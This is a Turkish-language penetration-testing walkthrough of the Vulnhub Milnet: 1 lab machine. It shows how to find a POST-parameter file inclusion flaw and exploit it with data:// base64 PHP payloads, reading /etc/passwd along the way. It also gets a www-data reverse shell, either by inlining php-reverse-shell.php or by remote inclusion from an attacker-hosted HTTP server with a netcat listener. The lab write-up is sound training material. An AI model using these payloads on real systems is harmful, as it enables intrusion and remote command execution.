POST ile Gönderilen Parametredeki Dosya Dahil Etme Zafiyetinin Tespiti ve “data://” ifadesi ile İstismarı

Web uygulamaları sızma testleri sırasında hedef uygulama üzerindeki bir kontrol eksikliği sebebi ile beklenmeyen dosyalar web uygulaması tarafından çalıştırılabilir. Bu yazıda, Milnet: 1 sanal makinesindeki uygulamada bulunan dosya dahil etme (File Inclusion) zafiyeti “data://” ifadesi ile istismar edilerek ters kabuk erişimi elde edilecektir.

Yazıda kullanılan Milnet: 1 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/milnet-1,148/

Web uygulamasının sunduğu site incelendiğinde temel olarak 6 sayfa göze çarpmaktadır.

main.php
content.php
nav.php
bomb.php
info.php
props.php

 

Bunun yanında “info.php” dosyası incelendiğinde bir çok bilgi elde edilebilmektedir.

http://172.20.50.133/info.php

 

Bu bilgilerden en önemlileri genellikle sürümler ve dizinler ile ilgili olanlardır.

  • System: Linux seckenheim.net.mil 4.4.0-22-generic #40-Ubuntu SMP Thu May 12 22:03:46 UTC 2016 x86_64
  • Loaded Configuration File: /etc/php/7.0/cgi/php.ini
  • PHP Version: 7.0.4-7ubuntu2
  • $_SERVER[‘DOCUMENT_ROOT’]: /var/www/html
  • $_SERVER[‘SCRIPT_FILENAME’]: /var/www/html/info.php

 

A) Manuel Olarak Dosya Dahil Etme Zafiyetinin Keşfi

“info.php” dosyasındaki bazı yapılandırma ayarları göze çarpmaktadır. Bu ayarlar dosya dahil etme (File Inclusion) zafiyetine zemin hazırlayabilmektedir.

allow_url_fopen: On
allow_url_include: On

 

Sayfanın kaynak kodu incelendiğinde sol panelde 3 form ve her formda da birer buton bulunmaktadır. Bu butonlara tıklandığında da “content.php” sayfasına POST metodu ile ilgili dosya adı (“route=bomb” gibi) gönderilmektedir.

 

“Bomb” butonuna tıklandığında giden talep ve gelen sayfa Burp Suite gibi bir vekil uygulama ile görülebilmektedir.

 

Yerel dosya dahil etme zafiyetinin keşfi için mevcudiyetini bildiğimiz bir dosya (info.php) “route=info.php” olarak çağırıldığında cevap alınamazken, “route=info” olarak çağırıldığında cevap dönülmektedir.

 

Gelen giden verileri daha seri halde incelemek için Burp Suite ile yakalanan bu talep Repeater modülüne gönderilebilir.

 

SCRIPT_FILENAME ile belirtilen dosya olarak çağırıldığında sayfaya yeniden erişim sağlanabilmektedir.

route=../../../../../../var/www/html/info

 

B) “data://” İfadesi ile PHP Dosya Dahil Etme Saldırısı

PHP 5.2 ve sonraki sürümlerde allow_url_include etkin ise bir veri çalıştırılabilir PHP dosyasına dahil edilebilir. Böylece uzak makinedeki bir PHP dosyası yerine dahil edilen PHP verisi çalıştırılabilir. Çalıştırılacak PHP ifadesini doğrudan göndermek yerine önce Base64 ile kodlamak sonra da URL kodlamadan geçirme yolu da izlenebilir. Örneğin bir dizindeki tüm dosyaları listelemek için aşağıdaki adımlar işletilebilir.

Açık Metin: <?php system(‘ls -la’); ?>
Base64 Kodlanmış [Açık Metin]: PD9waHAgc3lzdGVtKCdscyAtbGEnKTsgPz4=
URL Kodlanmış [Base64 Kodlanmış [Açık Metin]]: PD9waHAgc3lzdGVtKCdscyAtbGEnKTsgPz4%3D

 

Kodlama işlemi için CodeBeautify sitesi kullanılabilir.

Base64 Kodlama: https://codebeautify.org/base64-encode
URL Kodlama: https://codebeautify.org/url-encode-string

 

“route” parametresine değişken olarak bu elde edilen veri ve “data://text/plain;base64,” ifadesi verildiğinde o dizindeki tüm dosyalar listelenir.

route=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscyAtbGEnKTsgPz4%3D

 

Not: Kodlama yerine açık metin olarak da doğrudan kullanılabilirdi.

route=data://text/plain;<?php system(“cat /etc/passwd”); ?>

 

C) Komut Satırı Erişiminin Elde Edilmesi: “data://” İfadesi ile Yerel Dosya Dahil Etme

Ters bağlantı elde edebilmek için “php-reverse-shell.php” dosyası kullanılabilir.

cat /usr/share/webshells/php/php-reverse-shell.php | grep CHANGE
cat /usr/share/webshells/php/php-reverse-shell.php | base64

 

Kodlanmış bu değer tek satır haline getirildikten sonra da URL kodlama işlemi gerçekleştirilir.

 

Dinleyici başlatılır.

nc -nlvp 5555

 

“route” parametresine değişken olarak elde edilen değer verildiğinde uygulama kullanıcısı yetkileri (www-data) ile komut satırı erişimi elde edilir.

route=data://text/plain;base64,PD9waHAKLy8gc…Cn0KCj8%2BIAoKCgo%3D%0A
head -3 /etc/passwd
tail -5 /etc/passwd

 

D) Komut Satırı Erişiminin Elde Edilmesi: Uzak Dosya Dahil Ederek

Mevcut sanal makinede “data://” ifadesi kullanmadan uzaktan bir dosya da dahil edilebilir. RFI ile ters bağlantı elde edebilmek için aynı “php-reverse-shell.php” dosyası kullanılabilir. Bu dosyayı sunmak için de web servisi başlatılır.

cat /usr/share/webshells/php/php-reverse-shell.php | grep CHANGE
cp /usr/share/webshells/php/php-reverse-shell.php .
python -m SimpleHTTPServer 7777

 

Ayrıca talebi yakalayacak dinleyici başlatılır.

nc -nlvp 6666

 

Talep gerçekleştirildiğinde “php-reverse-shell.php” yerine “php-reverse-shell.php.php” şeklinde talep gerçekleştiğinden sayfanın bulunamadığı hatası alınmıştır.

route=http://172.20.50.128:7777/php-reverse-shell.php

 

“route” parametresine verilen dosya adındaki “php” uzantısı kaldırıldığında ise hata alınmaz ve uygulama kullanıcısı yetkileri (www-data) ile komut satırı erişimi elde edilir.

route=http://172.20.50.128:7777/php-reverse-shell

 

Kaynak:

https://www.idontplaydarts.com/2011/03/php-remote-file-inclusion-command-shell-using-data-stream/
http://alickgardiner.com/milnet-vulnhub/
https://yaserfaraj.github.io/ctf/Milnet-walkthrough
https://two06.blogspot.com.tr/2016/06/milnet-ctf-walkthrough.html

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.